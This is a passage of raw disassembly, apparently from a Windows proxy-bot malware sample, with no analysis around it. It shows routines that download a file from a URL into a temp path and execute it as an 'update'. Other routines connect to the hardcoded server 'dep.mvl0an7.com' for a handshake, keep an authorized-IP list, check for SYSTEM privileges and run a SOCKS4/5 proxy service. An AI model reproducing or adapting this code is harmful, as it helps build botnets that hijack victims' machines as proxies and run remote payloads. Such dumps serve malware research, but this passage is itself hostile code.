jz short loc_4447B3
push [ebp+var_850]
call dword_411CF8 ; CloseHandle
test esi, esi
jz short loc_4447A4
mov eax, [ebp+var_854]
mov [esi], eax
jmp short loc_4447B0
; ---------------------------------------------------------------------------
loc_4447A4: ; CODE XREF: sub_4446A4+F4j
push [ebp+var_854]
call dword_411CF8 ; CloseHandle
loc_4447B0: ; CODE XREF: sub_4446A4+FEj
xor eax, eax
inc eax
loc_4447B3: ; CODE XREF: sub_4446A4+E4j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4446A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4447B9 proc near ; CODE XREF: DMN1:00444980p
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push offset aMsdownloader ; "msdownloader"
call dword_411EF0 ; InternetOpenA
mov edi, eax
push edi
push offset aInternetopenI ; "InternetOpen(): %i\n"
call nullsub_4
pop ecx
pop ecx
test edi, edi
jnz short loc_4447F2
xor eax, eax
jmp loc_444914
; ---------------------------------------------------------------------------
loc_4447F2: ; CODE XREF: sub_4447B9+30j
push 0
push 80080300h
push 0
push 0
push [ebp+arg_0]
push edi
call dword_411EF4 ; InternetOpenUrlA
mov ebx, eax
push edi
push offset aInternetopenur ; "InternetOpenUrl(): %i\n"
call nullsub_4
pop ecx
pop ecx
test ebx, ebx
jnz short loc_444828
push edi
call dword_411EF8 ; InternetCloseHandle
xor eax, eax
jmp loc_444914
; ---------------------------------------------------------------------------
loc_444828: ; CODE XREF: sub_4447B9+5Fj
push offset aWb_0 ; "wb"
push [ebp+arg_4]
call sub_448281
pop ecx
pop ecx
mov esi, eax
test esi, esi
jnz short loc_444861
push [ebp+arg_4]
push offset aFopenS___ ; "fopen(%s)...\n"
call nullsub_4
pop ecx
pop ecx
push ebx
call dword_411EF8 ; InternetCloseHandle
push edi
call dword_411EF8 ; InternetCloseHandle
xor eax, eax
jmp loc_444914
; ---------------------------------------------------------------------------
loc_444861: ; CODE XREF: sub_4447B9+82j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadingSS ; "downloading [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
push 0
call dword_411D14 ; RtlRestoreLastWin32Error
jmp short loc_444899
; ---------------------------------------------------------------------------
loc_44487E: ; CODE XREF: sub_4447B9+F9j
cmp [ebp+var_4], 0
jz short loc_4448B4
push esi
push 1
push [ebp+var_4]
lea eax, [ebp+var_404]
push eax
call sub_4486E1
add esp, 10h
loc_444899: ; CODE XREF: sub_4447B9+C3j
lea eax, [ebp+var_4]
push eax
push 3FFh
lea eax, [ebp+var_404]
push eax
push ebx
call dword_411EFC ; InternetReadFile
test eax, eax
jnz short loc_44487E
loc_4448B4: ; CODE XREF: sub_4447B9+C9j
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_408], eax
push esi
call sub_4484E1
pop ecx
push ebx
call dword_411EF8 ; InternetCloseHandle
push edi
call dword_411EF8 ; InternetCloseHandle
cmp [ebp+var_408], 0
jz short loc_4448FE
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
push [ebp+arg_4]
call dword_411D18 ; DeleteFileA
xor eax, eax
jmp short loc_444914
; ---------------------------------------------------------------------------
loc_4448FE: ; CODE XREF: sub_4447B9+123j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
xor eax, eax
inc eax
loc_444914: ; CODE XREF: sub_4447B9+34j
; sub_4447B9+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4447B9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 3400h
call sub_4486B1
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov byte ptr [ebp-2400h], 0
mov byte ptr [ebp-1000h], 0
mov esi, ebx
push esi
push offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp-3400h]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
lea eax, [ebp-2400h]
push eax
push 0
push offset aMsss ; "msss"
lea eax, [ebp-3400h]
push eax
call dword_411D20 ; GetTempFileNameA
lea eax, [ebp-2400h]
push eax
push esi
call sub_4447B9
pop ecx
pop ecx
test eax, eax
jz loc_444AA2
lea eax, [ebp-2400h]
push eax
push offset aDownloadedToS ; "downloaded to: <%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp-3400h]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
lea eax, [ebp-1000h]
push eax
push 0
push offset aMsssx ; "msssx"
lea eax, [ebp-3400h]
push eax
call dword_411D20 ; GetTempFileNameA
mov edi, dword_4128A4
push 0
lea eax, [ebp-1000h]
push eax
push edi
call dword_411D24 ; CopyFileA
test eax, eax
jz loc_444AA2
push 80h
lea eax, [ebp-1000h]
push eax
call dword_411D28 ; SetFileAttributesA
push offset aUpdate ; "*update \""
lea eax, [ebp-1400h]
push eax
call sub_4485F1
pop ecx
pop ecx
lea eax, [ebp-2400h]
push eax
lea eax, [ebp-1400h]
push eax
call sub_448611
pop ecx
pop ecx
push offset asc_40ECD5 ; "\" \""
lea eax, [ebp-1400h]
push eax
call sub_448611
pop ecx
pop ecx
push edi
lea eax, [ebp-1400h]
push eax
call sub_448611
pop ecx
pop ecx
push offset asc_40EDC7 ; "\""
lea eax, [ebp-1400h]
push eax
call sub_448611
pop ecx
pop ecx
lea eax, [ebp-1400h]
push eax
lea eax, [ebp-1000h]
push eax
push offset aRunningSS___ ; "running %s (%s)...\r\n"
call nullsub_4
add esp, 0Ch
push 0
push 1
lea eax, [ebp-1400h]
push eax
lea eax, [ebp-1000h]
push eax
call sub_4446A4
add esp, 10h
test eax, eax
jz short loc_444AA2
loc_444A95: ; CODE XREF: DMN1:00444AA0j
push 1770h
call dword_411D00 ; Sleep
jmp short loc_444A95
; ---------------------------------------------------------------------------
loc_444AA2: ; CODE XREF: DMN1:00444989j
; DMN1:004449E7j ...
push 0
push offset dword_411014
call dword_411D04 ; InterlockedExchange
lea eax, [ebp-2400h]
push eax
call sub_4485D1
pop ecx
test eax, eax
jz short loc_444ACD
lea eax, [ebp-2400h]
push eax
call dword_411D18 ; DeleteFileA
loc_444ACD: ; CODE XREF: DMN1:00444ABEj
lea eax, [ebp-1000h]
push eax
call sub_4485D1
pop ecx
test eax, eax
jz short loc_444AEB
lea eax, [ebp-1000h]
push eax
call dword_411D18 ; DeleteFileA
loc_444AEB: ; CODE XREF: DMN1:00444ADCj
push ebx
call sub_441FF7
pop ecx
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_444AFF proc near ; CODE XREF: DMN1:loc_444D95p
xor ecx, ecx
mov eax, ecx
retn
sub_444AFF endp
; =============== S U B R O U T I N E =======================================
sub_444B04 proc near ; CODE XREF: DMN1:00444CFBp
; DMN1:00444D0Dp
xor eax, eax
retn
sub_444B04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444B07 proc near ; CODE XREF: DMN1:00444E86p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov ebx, [ebp+arg_4]
xor esi, esi
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
cmp [ebp+arg_8], 0
jnz short loc_444B2F
push dword_412934
call sub_442F1C
pop ecx
loc_444B2F: ; CODE XREF: sub_444B07+1Aj
mov esi, [ebp+arg_0]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
jmp short loc_444B77
; ---------------------------------------------------------------------------
loc_444B40: ; CODE XREF: sub_444B07+72j
push 0
push dword ptr [esi]
push dword_412934
call sub_442FCA
add esp, 0Ch
mov eax, [esi]
mov [ebp+var_4], eax
push eax
call sub_447CA1 ; inet_ntoa
push eax
mov eax, dword_412934
push dword ptr [eax+8]
push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n"
call nullsub_4
add esp, 0Ch
dec ebx
add esi, 4
loc_444B77: ; CODE XREF: sub_444B07+37j
test ebx, ebx
jg short loc_444B40
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
xor eax, eax
inc eax
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444B07 endp
; ---------------------------------------------------------------------------
push ebx
push edi
mov ecx, [esp+0Ch]
mov ebx, [esp+10h]
xor edi, edi
jmp short loc_444BA9
; ---------------------------------------------------------------------------
loc_444B9D: ; CODE XREF: DMN1:00444BB3j
mov eax, [ebx+4]
mov [ecx], eax
mov ebx, [ebx+8]
add ecx, 4
inc edi
loc_444BA9: ; CODE XREF: DMN1:00444B9Bj
cmp edi, 4000h
jge short loc_444BB5
test ebx, ebx
jnz short loc_444B9D
loc_444BB5: ; CODE XREF: DMN1:00444BAFj
mov edx, [esp+14h]
mov [edx], edi
mov eax, ebx
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push dword_412934
call sub_442F1C
pop ecx
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
push offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
call sub_44273F
pop ecx
mov [ebp-14h], eax
test eax, eax
jz short loc_444C08
cmp eax, 0FFFFFFFFh
jz short loc_444C08
test eax, eax
jnz short loc_444C0D
loc_444C08: ; CODE XREF: DMN1:00444BFBj
; DMN1:00444C02j
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444C0D: ; CODE XREF: DMN1:00444C06j
mov word ptr [ebp-16h], 24A2h
xor esi, esi
and dword ptr [ebp-0Ch], 0
push 0
push offset dword_411024
call dword_411D04 ; InterlockedExchange
cmp dword_411004, 0
jnz short loc_444C4B
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_44335D
pop ecx
pop ecx
mov dword_411004, eax
loc_444C4B: ; CODE XREF: DMN1:00444C2Dj
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_4433CA
pop ecx
pop ecx
push dword_411010
push offset aMyPortI ; "my port [%i]\n"
call nullsub_4
pop ecx
pop ecx
mov eax, [ebp-14h]
mov [ebp-1Ch], eax
push eax
call sub_447CA1 ; inet_ntoa
mov [ebp-20h], eax
movzx eax, word ptr [ebp-16h]
push eax
push dword ptr [ebp-20h]
push offset aSrvSI ; "SRV: [%s:%i]\n"
call nullsub_4
add esp, 0Ch
and dword ptr [ebp-10h], 0
call sub_4422DA
mov [ebp-10h], eax
test eax, eax
jz loc_444F3A
push dword ptr [ebp-10h]
call sub_442944
pop ecx
mov esi, eax
push offset aSrvConnecting_ ; "SRV: connecting...\n"
call nullsub_4
pop ecx
movzx eax, word ptr [ebp-16h]
push eax
push dword ptr [ebp-14h]
push dword ptr [ebp-10h]
call sub_4424E8
add esp, 0Ch
test eax, eax
jnz short loc_444CE9
push offset aSrvConnectingF ; "SRV: connecting failed.\n"
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444CE9: ; CODE XREF: DMN1:00444CD7j
push offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
call nullsub_4
pop ecx
mov dword ptr [ebp-24h], 1000h
call sub_444B04
push eax
push offset aSrvRip?I ; "SRV: rip? %i\n"
call nullsub_4
pop ecx
pop ecx
call sub_444B04
test eax, eax
jz short loc_444D1A
or dword ptr [ebp-24h], 1
loc_444D1A: ; CODE XREF: DMN1:00444D14j
push dword ptr [ebp-24h]
movzx eax, word ptr dword_411010
push eax
push esi
call sub_442CF7
add esp, 0Ch
test eax, eax
jnz short loc_444D42
push offset aSrvHandshaking ; "SRV: handshaking failed.\n"
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444D42: ; CODE XREF: DMN1:00444D30j
push offset byte_40EBFB
call nullsub_4
pop ecx
push esi
call sub_442ED2
pop ecx
mov [ebp-8], eax
test eax, eax
jz short loc_444D6B
push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n"
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444D6B: ; CODE XREF: DMN1:00444D59j
test byte ptr [ebp-24h], 1
jz loc_444E22
push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
call nullsub_4
pop ecx
push 10004h
call sub_441FC9
pop ecx
mov [ebp-30h], eax
mov [ebp-2Ch], eax
and dword ptr [ebp-28h], 0
loc_444D95: ; CODE XREF: DMN1:00444DB8j
call sub_444AFF
mov edi, eax
test edi, edi
jz short loc_444DBA
mov edx, [ebp-2Ch]
mov [edx], edi
mov eax, [ebp-2Ch]
add eax, 4
mov [ebp-2Ch], eax
inc dword ptr [ebp-28h]
cmp dword ptr [ebp-28h], 3FFFh
jl short loc_444D95
loc_444DBA: ; CODE XREF: DMN1:00444D9Ej
mov eax, [ebp-28h]
add eax, eax
add eax, eax
push eax
push dword ptr [ebp-30h]
push 100h
push esi
call sub_442B10
add esp, 10h
test eax, eax
jnz short loc_444DF0
push dword ptr [ebp-30h]
call sub_441FF7
pop ecx
push offset sub_40EB9E
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444DF0: ; CODE XREF: DMN1:00444DD5j
push dword ptr [ebp-30h]
call sub_441FF7
pop ecx
push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
call nullsub_4
pop ecx
push esi
call sub_442ED2
pop ecx
mov [ebp-8], eax
test eax, eax
jz short loc_444E22
push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444E22: ; CODE XREF: DMN1:00444D6Fj
; DMN1:00444E10j ...
push 0FFFFh
push 0
lea eax, [ebp-2]
push eax
push esi
call sub_442CDC
add esp, 10h
mov ebx, eax
test ebx, ebx
jl loc_444F3A
movzx eax, word ptr [ebp-2]
mov [ebp-28h], eax
cmp eax, 200h
jz short loc_444E61
cmp eax, 201h
jz short loc_444EA2
cmp eax, 202h
jz short loc_444E71
jmp loc_444F35
; ---------------------------------------------------------------------------
loc_444E61: ; CODE XREF: DMN1:00444E4Cj
push offset byte_40EB5F
call nullsub_4
pop ecx
jmp loc_444F3A
; ---------------------------------------------------------------------------
loc_444E71: ; CODE XREF: DMN1:00444E5Aj
push offset word_40EB52
call nullsub_4
pop ecx
push dword ptr [ebp-0Ch]
push ebx
push dword ptr [esi+470h]
call sub_444B07
add esp, 0Ch
test eax, eax
jz loc_444F35
mov dword ptr [ebp-0Ch], 1
jmp loc_444F35
; ---------------------------------------------------------------------------
loc_444EA2: ; CODE XREF: DMN1:00444E53j
test ebx, ebx
jnz short loc_444EAF
mov edx, [esi+470h]
mov byte ptr [edx], 0
loc_444EAF: ; CODE XREF: DMN1:00444EA4j
push dword ptr [esi+470h]
push offset sub_40EB3F
call nullsub_4
pop ecx
pop ecx
test ebx, ebx
jz short loc_444F35
push dword ptr [esi+470h]
call sub_4485D1
pop ecx
test eax, eax
jz short loc_444F35
push 0
push offset dword_411014
call dword_411D2C ; InterlockedExchangeAdd
test eax, eax
jnz short loc_444F35
push 1
push offset dword_411014
call dword_411D04 ; InterlockedExchange
push 10000h
call sub_441FC9
pop ecx
mov [ebp-2Ch], eax
push dword ptr [esi+470h]
push dword ptr [ebp-2Ch]
call sub_4485F1
pop ecx
pop ecx
push offset sub_40EB25
call nullsub_4
pop ecx
push dword ptr [ebp-2Ch]
push 0
push offset sub_40399A
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
loc_444F35: ; CODE XREF: DMN1:00444E5Cj
; DMN1:00444E90j ...
jmp loc_444E22
; ---------------------------------------------------------------------------
loc_444F3A: ; CODE XREF: DMN1:loc_444C08j
; DMN1:00444CA6j ...
test esi, esi
jz short loc_444F45
push esi
call sub_4429BC
pop ecx
loc_444F45: ; CODE XREF: DMN1:00444F3Cj
cmp dword ptr [ebp-10h], 0
jz short loc_444F54
push dword ptr [ebp-10h]
call sub_442443
pop ecx
loc_444F54: ; CODE XREF: DMN1:00444F49j
push offset aSrvcommthreadD ; "SrvCommThread: done\n"
call nullsub_4
pop ecx
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_444F6B: ; CODE XREF: DMN1:00444F8Cj
call sub_4445D9
test eax, eax
jz short loc_444F81
call sub_445FED
push 0
call dword_411D30 ; ExitProcess
loc_444F81: ; CODE XREF: DMN1:00444F72j
push 3E8h
call dword_411D00 ; Sleep
jmp short loc_444F6B
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
loc_444F9A: ; CODE XREF: DMN1:00445033j
push 0
push 0
push offset sub_403C3F
call sub_448891
add esp, 0Ch
mov esi, eax
push 0FFFFFFFFh
mov eax, esi
push eax
call dword_411D34 ; WaitForSingleObject
mov eax, esi
push eax
call dword_411CF8 ; CloseHandle
cmp dword_411030, 0
jz short loc_445038
lea eax, [ebp-4]
push eax
call sub_441F82
pop ecx
mov ecx, 3Ch
cdq
idiv ecx
lea eax, [edx+6EAh]
mov edi, eax
push edi
push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
call nullsub_4
pop ecx
pop ecx
mov ebx, edi
jmp short loc_44501B
; ---------------------------------------------------------------------------
loc_444FF5: ; CODE XREF: DMN1:0044501Dj
push ebx
push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b."
call nullsub_4
pop ecx
pop ecx
push 7D0h
call dword_411D00 ; Sleep
sub ebx, 2
call sub_4445D9
test eax, eax
jz short loc_44501B
xor ebx, ebx
loc_44501B: ; CODE XREF: DMN1:00444FF3j
; DMN1:00445017j
test ebx, ebx
jg short loc_444FF5
push offset asc_40EAC3 ; "\r \r"
call nullsub_4
pop ecx
cmp dword_411030, 0
jz short loc_445038
jmp loc_444F9A
; ---------------------------------------------------------------------------
loc_445038: ; CODE XREF: DMN1:00444FC8j
; DMN1:00445031j
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445044 proc near ; CODE XREF: sub_447672+3DFp
; sub_447672+488p ...
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 44h
mov [ebp+var_44], 3Fh
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_40]
push eax
call dword_411E40 ; GetUserNameA
test eax, eax
jz short loc_44508B
cmp [ebp+var_44], 6
jnb short loc_44506D
xor eax, eax
jmp short loc_44508B
; ---------------------------------------------------------------------------
loc_44506D: ; CODE XREF: sub_445044+23j
mov [ebp+var_1], 0
lea eax, [ebp+var_40]
push eax
push offset aSystem ; "SYSTEM"
call dword_411D38 ; lstrcmpi
test eax, eax
jz short loc_445088
xor eax, eax
jmp short loc_44508B
; ---------------------------------------------------------------------------
loc_445088: ; CODE XREF: sub_445044+3Ej
xor eax, eax
inc eax
loc_44508B: ; CODE XREF: sub_445044+1Dj
; sub_445044+27j ...
mov esp, ebp
pop ebp
retn
sub_445044 endp
; =============== S U B R O U T I N E =======================================
sub_44508F proc near ; CODE XREF: sub_446A4A+1p
; DMN1:loc_446BDAp ...
push ebx
cmp dword_411028, 0
jz short loc_44509D
xor eax, eax
jmp short loc_4450E1
; ---------------------------------------------------------------------------
loc_44509D: ; CODE XREF: sub_44508F+8j
xor ebx, ebx
push offset a_win32__nts_um ; "_win32__nts_um__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_411028, eax
cmp dword_411028, 0
jz short loc_4450DF
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_4450DF
xor ebx, ebx
inc ebx
push dword_411028
call dword_411CF8 ; CloseHandle
and dword_411028, 0
loc_4450DF: ; CODE XREF: sub_44508F+2Bj
; sub_44508F+38j
mov eax, ebx
loc_4450E1: ; CODE XREF: sub_44508F+Cj
pop ebx
retn
sub_44508F endp
; =============== S U B R O U T I N E =======================================
sub_4450E3 proc near ; CODE XREF: sub_446A4A+3Dp
; DMN1:00446BBEp ...
cmp dword_411028, 0
jz short locret_4450FF
push dword_411028
call dword_411CF8 ; CloseHandle
and dword_411028, 0
locret_4450FF: ; CODE XREF: sub_4450E3+7j
retn
sub_4450E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445100 proc near ; CODE XREF: sub_44517C+2Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 0
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov ax, [ebp+arg_C]
mov [ebx], ax
add ebx, 2
mov eax, [ebp+arg_8]
mov [ebx], eax
push 8
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_442708
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_445100 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44513A proc near ; CODE XREF: sub_44517C+47p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 5
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov byte ptr [ebx], 0
inc ebx
mov byte ptr [ebx], 1
inc ebx
mov eax, [ebp+arg_8]
mov [ebx], eax
add ebx, 4
mov ax, [ebp+arg_C]
mov [ebx], ax
push 0Ah
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_442708
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_44513A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44517C proc near ; CODE XREF: DMN1:00445446p
; DMN1:00445602p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
push ebx
mov bl, [ebp+arg_8]
cmp bl, 9
jbe short loc_44518C
xor bl, bl
inc bl
loc_44518C: ; CODE XREF: sub_44517C+Aj
cmp [ebp+arg_0], 4
jnz short loc_4451B4
movzx eax, bl
mov bl, byte_411034[eax]
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_445100
add esp, 10h
jmp short loc_4451CB
; ---------------------------------------------------------------------------
loc_4451B4: ; CODE XREF: sub_44517C+14j
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_44513A
add esp, 10h
loc_4451CB: ; CODE XREF: sub_44517C+36j
pop ebx
pop ebp
retn
sub_44517C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4451CE proc near ; CODE XREF: DMN1:004453D0p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+arg_0]
loc_4451D6: ; CODE XREF: sub_4451CE+23j
push 1
lea eax, [ebp+var_1]
push eax
push ebx
call sub_44265D
add esp, 0Ch
test eax, eax
jg short loc_4451ED
xor eax, eax
jmp short loc_4451F6
; ---------------------------------------------------------------------------
loc_4451ED: ; CODE XREF: sub_4451CE+19j
cmp [ebp+var_1], 0
jnz short loc_4451D6
xor eax, eax
inc eax
loc_4451F6: ; CODE XREF: sub_4451CE+1Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_4451CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4451FB proc near ; CODE XREF: DMN1:00445407p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
xor edi, edi
mov byte ptr [ebx], 0
loc_44520D: ; CODE XREF: sub_4451FB+47j
push 1
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call sub_44265D
add esp, 0Ch
test eax, eax
jg short loc_445226
xor eax, eax
jmp short loc_445247
; ---------------------------------------------------------------------------
loc_445226: ; CODE XREF: sub_4451FB+25j
mov eax, edi
inc edi
mov dl, [ebp+var_1]
mov [ebx+eax], dl
mov byte ptr [ebx+edi], 0
lea eax, [esi-1]
cmp edi, eax
jl short loc_44523E
xor eax, eax
jmp short loc_445247
; ---------------------------------------------------------------------------
loc_44523E: ; CODE XREF: sub_4451FB+3Dj
cmp [ebp+var_1], 0
jnz short loc_44520D
xor eax, eax
inc eax
loc_445247: ; CODE XREF: sub_4451FB+29j
; sub_4451FB+41j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4451FB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 430h
push ebx
push esi
push edi
mov eax, [ebp+8]
mov [ebp-41Ch], eax
mov edi, [eax+8]
mov eax, [ebp-41Ch]
mov edx, [eax]
mov [ebp-410h], edx
mov dx, [eax+4]
mov [ebp-40Ah], dx
push eax
call sub_441FF7
pop ecx
and dword ptr [ebp-4], 0
mov eax, [ebp-410h]
mov [ebp-420h], eax
push eax
call sub_447CA1 ; inet_ntoa
mov [ebp-418h], eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectionFrom ; "connection from [%s]\n"
call sub_4481E1
add esp, 0Ch
mov byte ptr [ebp-411h], 0
mov byte ptr [ebp-421h], 0
push 1
lea eax, [ebp-411h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push 0
push dword ptr [ebp-410h]
push dword_412934
call sub_442F64
add esp, 0Ch
mov [ebp-428h], eax
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
cmp dword ptr [ebp-428h], 0
jnz short loc_445337
push dword ptr [ebp-418h]
push offset aConnectionReje ; "connection rejected (from [%s])\n"
call nullsub_3
pop ecx
pop ecx
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445337: ; CODE XREF: DMN1:0044531Ej
mov word ptr [ebp-40Ah], 0
and dword ptr [ebp-410h], 0
mov al, [ebp-411h]
cmp al, 4
jz short loc_445359
cmp al, 5
jnz loc_4458BB
loc_445359: ; CODE XREF: DMN1:0044534Fj
push dword ptr [ebp-418h]
movsx eax, byte ptr [ebp-411h]
push eax
push offset aSocksVIS ; "socks v%i [%s]\n"
call nullsub_3
add esp, 0Ch
cmp byte ptr [ebp-411h], 4
jnz loc_445453
push 1
lea eax, [ebp-421h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
push 2
lea eax, [ebp-40Ah]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
push 4
lea eax, [ebp-410h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
push edi
call sub_4451CE
pop ecx
test eax, eax
jz loc_4458BB
mov eax, [ebp-410h]
test eax, 0FFFFFFh
jnz loc_44563F
test eax, 0FF000000h
jz loc_44563F
push 400h
lea eax, [ebp-408h]
push eax
push edi
call sub_4451FB
add esp, 0Ch
test eax, eax
jz loc_4458BB
lea eax, [ebp-408h]
push eax
call sub_44273F
pop ecx
mov [ebp-410h], eax
test eax, eax
jz short loc_44543D
cmp eax, 0FFFFFFFFh
jz short loc_44543D
test eax, eax
jnz loc_44563F
loc_44543D: ; CODE XREF: DMN1:0044542Cj
; DMN1:00445433j
push 0
push 0
push 4
push edi
push 4
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445453: ; CODE XREF: DMN1:0044537Bj
cmp byte ptr [ebp-411h], 5
jnz loc_4458BB
mov byte ptr [ebp-429h], 0
push 1
lea eax, [ebp-429h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jg short loc_4454A3
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445482: ; CODE XREF: DMN1:004454AAj
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
sub byte ptr [ebp-429h], 1
loc_4454A3: ; CODE XREF: DMN1:0044547Bj
cmp byte ptr [ebp-429h], 0
jnz short loc_445482
mov dword ptr [ebp-430h], 5
push 2
lea eax, [ebp-430h]
push eax
push edi
call sub_442708
add esp, 0Ch
test eax, eax
jle loc_4458BB
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
cmp byte ptr [ebp-42Ah], 5
jnz loc_4458BB
push 1
lea eax, [ebp-421h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
